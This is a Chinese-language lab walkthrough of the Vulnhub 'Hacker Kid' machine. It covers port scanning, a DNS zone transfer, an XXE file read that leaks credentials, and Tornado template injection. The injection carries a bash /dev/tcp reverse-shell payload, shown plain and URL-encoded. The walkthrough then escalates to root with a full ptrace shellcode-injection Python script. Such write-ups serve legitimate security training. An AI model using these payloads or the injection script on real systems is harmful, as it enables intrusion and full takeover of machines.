Vulnhub-Hacker_Kid

主机发现

image.png
发现存在 IP地址为 192.168.145.148的地址
可疑 ,对其进行端口扫描 已经基本信息搜集

端口扫描

端口扫描结果

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 03:24 EDT
Nmap scan report for hackers.blackhat.local (192.168.145.148)
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
9999/tcp open  http    Tornado httpd 6.1
MAC Address: 00:0C:29:6D:7B:05 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.46 seconds

发现存在 三个端口 分别是53 80 9999

53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
9999/tcp open  http    Tornado httpd 6.1

特别是 53 端口 和 9999 端口开放的服务
先看53 端口

ISC BIND

ISC BIND是美国Internet Systems Consortium(ISC)公司所维护的一套DNS域名解析服务软件。
存在一下漏洞(CVE-2021-25216按照说明是可执行代码的,但这里没有找到POC)

CVE-2021-25216(高危)

GSS-TSIG是TSIG协议的扩展,旨在支持密钥的安全交换,以用于验证网络上各方之间通信的真实性。SPNEGO是GSS-TSIG的应用程序协议接口GSSAPI使用的协商机制。经发现,BIND使用的SPNEGO实现容易受到缓冲区溢出攻击。可能造成服务崩溃甚至代码执行。

CVE-2021-25215(高危)

RFC 6672中描述的DNAME记录提供了一种重定向DNS中域名树的子树的方法。 named处理这些记录的方式中的缺陷可能触发多次尝试将相同的RRset添加到ANSWER节中的尝试。 这会导致BIND中的断言检查失败。DNAME记录由权威服务器和递归服务器处理。 对于权威服务器,可以从区域数据库中检索触发漏洞的DNAME记录。 对于执行递归的服务器,在发送给权威服务器的查询过程中会处理此类记录。
当named的易受攻击版本接收到触发上述漏洞的记录查询时,named进程将因断言检查失败而终止。

CVE-2021-25214(中危)

损坏的入站增量区域更新(IXFR)可能导致named意外终止
看了一圈没有可以用的Poc ,这里是启动了DNS服务的可以看出,先留着,下一个

Tornado 框架

Tornado是Tornado社区的一个Python Web框架和异步网络库。该库通过使用非阻塞网络I / O,可以扩展到成千上万的开放连接,使其非常适合长时间轮询,WebSocket和其他需要与每个用户建立长期连接的应用程序。
众所周知,python框架比较多的漏洞是SSTI 模板注入漏洞,经过网上操作,Tornado是存在模板注入的,也存在文件包含漏洞

Tornado常见漏洞

  1. Tornado 文件读取漏洞
    2. Tornado 跨站攻击,伪造cookie漏洞
    3. Tornado 模板注入漏洞

WEB信息收集

okey 接着访问 80 9999端口查看存在什么信息
80端口
image.png
9999端口
image.png
看了眼9999端口是一个登录框,不存在sql注入等,暴力破解无解
查看80端口,去发现是否存在突破口吧

You have given me a name of Notorious Hacker right !! Just becuase i hacked your entire server.
Now i have got access to your entire server.If your are smart enough to get it back, just show me.

"More you will DIG me,more you will find me on your servers..DIG me more...DIG me more"

句子的意思是服务器的机主给他取了一个臭名昭著的黑客,然后黑了他的服务器,只有挖掘更多,才能发现他
这里存在一个DIG ,DIG是DNS工具,先留着
使用常见F12 大法查看源代码
image.png
在F12大法下发现了一个参数

TO DO: Use a GET parameter page_no  to view pages.

使用 page_no 查看更多
但另外还有两个页面
image.png
image.png
但是吧,并没有什么用处,再反过来看page_no
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
出现了一句

Oh Man !! Isn't is right to go a little deep inside? 

再深入一点? ??
对这个数字进行爆破试一下
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
发现21存在不一样
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
果然,出现的提示更多了

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local

意思他拥有很多个子域名,但是其中有一个家 ,主域名算是
hackers.blackhat.local
去访问一下,但是这里要添加 这个域名到/etc/hosts 文件里面。不然访问不了的是

DNS区域传输

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
要加上这么一条
192.168.145.148 hackers.blackhat.local
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
但是好像还是主页面,并不存在什么 ,这里还是提到了
"More you will DIG me,more you will find me on your servers..DIG me more...DIG me more"

DIG工具

DIG 工具全称为域名信息搜索器(Domain InformationGroper),显示DNS查询过程的全过程,是一个不错的DNS故障诊断工具。
常见使用方法

-v  显示版本

进行域名查询
dig www.baidu.com

指定域名服务器进行查询
dig www.baidu.com @8.8.8.8(谷歌服务器)


直接查看结果
dig+noall+answer www.baidu.com

使用迭代查询,跳过缓存DNS服务器,直接向各级域名服务器发起请求。
dig +trace www.baidu.com

查询百度的A记录
dig baidu.com A +noall +answer

查询百度A记录显示最简答案
dig www.baidu.com +short

显示详细信息但不显示dig版本信息
dig +nocmd baidu.com A +multiline +noall +answer

查询一个站点的ptr记录,通过IP查域名
dig -x 127.0.0.1

查询百度的权威记录
dig baidu.com NS +noall +answer

查询百度的MX(邮件交换)记录
dig baidu.com MX +noall +answer

批量查询文件中域名的dns解析,一行一个
dig -f D:\test.txt +noall +answer

我们这里使用迭代查询 和 指定域名查询
指定域名服务器进行查询

dig hackers.blackhat.local @192.168.145.148

image.png

dig afxr @192.168.145.148 blackhat.loca

这条命令还是一点超时,有很多域名没有显示出来 ,没关系先把显示出来的域名加入
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
加上这两条到 /etc/hosts 再去访问这两条,页面看看是存在什么效果
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

XXE注入攻击

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
访问

hackerkid.blackhat.local

的时候出现了一个新的页面 , 创建用户的意思 ,抓包创建一下 ,因为刚才9999端口是存在一个登录框的
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
邮箱出,输入是什么就返回是什么数据 ,这里呢一般想到两种漏洞 xxe ,ssti模板注入
然后这里是php 页面 ,所以大概率不是ssti模板注入
那就使用xxe 去访问 /读去本地文件试试看、
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
使用XXE 文件读取代码是可以读完本地文件的
发现除了root 用户还存在一个saket用户是可以bin/bash的 ,但是这里又没有开22端口,不能ssh
查看/home/saket用户目录下存在些什么数据
先看本地基本会有的是哪些文件
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
这几个是常见的,文件优先查看。
随便查询一个都没有返回
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

PHP封装器(伪协议)

选择使用php伪协议去读取一下
其他文件均没有返回,唯独这个 .bashrc 配置文件返回了
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
对其进行解密
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
解密之后会发现账号密码,我们可以记得 9999端口存在一个登录的地方 ,尝试登录一下

username="admin"
password="Saket!#$%@!!"

SSTI模板注入

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
好像不对啊,这个账号密码,
这个密码感觉也不像是admin 用户的,密码带有saket
是不是saket 用户的呢 ,本来就存在这么一个用户 ,对其进行测试登录看看
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
成功登录上了

Tell me your name buddy

How can i get to know who are you ??

让告诉他名字 可能是以 name 作为参数的
试一下
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
这个和前面那个邮箱差不多 ,但是把这里python的环境 而且是 Tornado是框架
是可能存在ssti 模板注入的
简单的使用 {{77}} payload 测试一下
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
我这里输入 payload 返回了49 ,证明执行了{{7
7}}的表达式
那往上找一下反弹shell的payload

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.145.130/4444 0>&1"')}}

对这段代码进行url编码然后进行反弹shell

%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%34%35%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d 

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
成功反弹shell了

Capabilitie提权

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
但是把只是普通用户不是root 用户
尝试了suid 提权
内核提权
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
都是没有的,
经过百度 Google 找到了可以使用Capabilitie提权
linux2.2之后,产生了Capabilities用于分隔root权限,以便于用户更好,更安全,更精细的管理机器的功能和权限。
先使用

python3 -c 'import pty;pty.spawn("/bin/bash")'

升级shell,
然后使用getcap工具查找是否存在CAP_SETUID标志的进程

/usr/sbin/getcap -r /2>/dev/null
/sbin/getcap -r / 2>/dev/null

如果存在 /usr/bin/python2.7= cap_setuid+ep 就可能存在Capabilities提权
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
这里是存在的
使用python脚本进行提权

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

    # Convert the byte to little endian.
    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    shellcode_byte=int(shellcode_byte_little_endian,16)

    # Inject the byte.
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

    print("Shellcode Injected!!")

    # Modify the instuction pointer
    registers.rip=registers.rip+2

    # Set the registers
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

    print("Final Instruction Pointer: " + hex(registers.rip))

    # Detach from the process.
    libc.ptrace(PTRACE_DETACH, pid, None, None)

然后上传到 靶机上去
可以使用这个脚本进行批量测试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
查看5600 进程是否开启
netstat -ano | grep “5600”
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
然后直接使用nc 连接就好了

nc 0.0.0.0 5600

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
成功提权到root

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值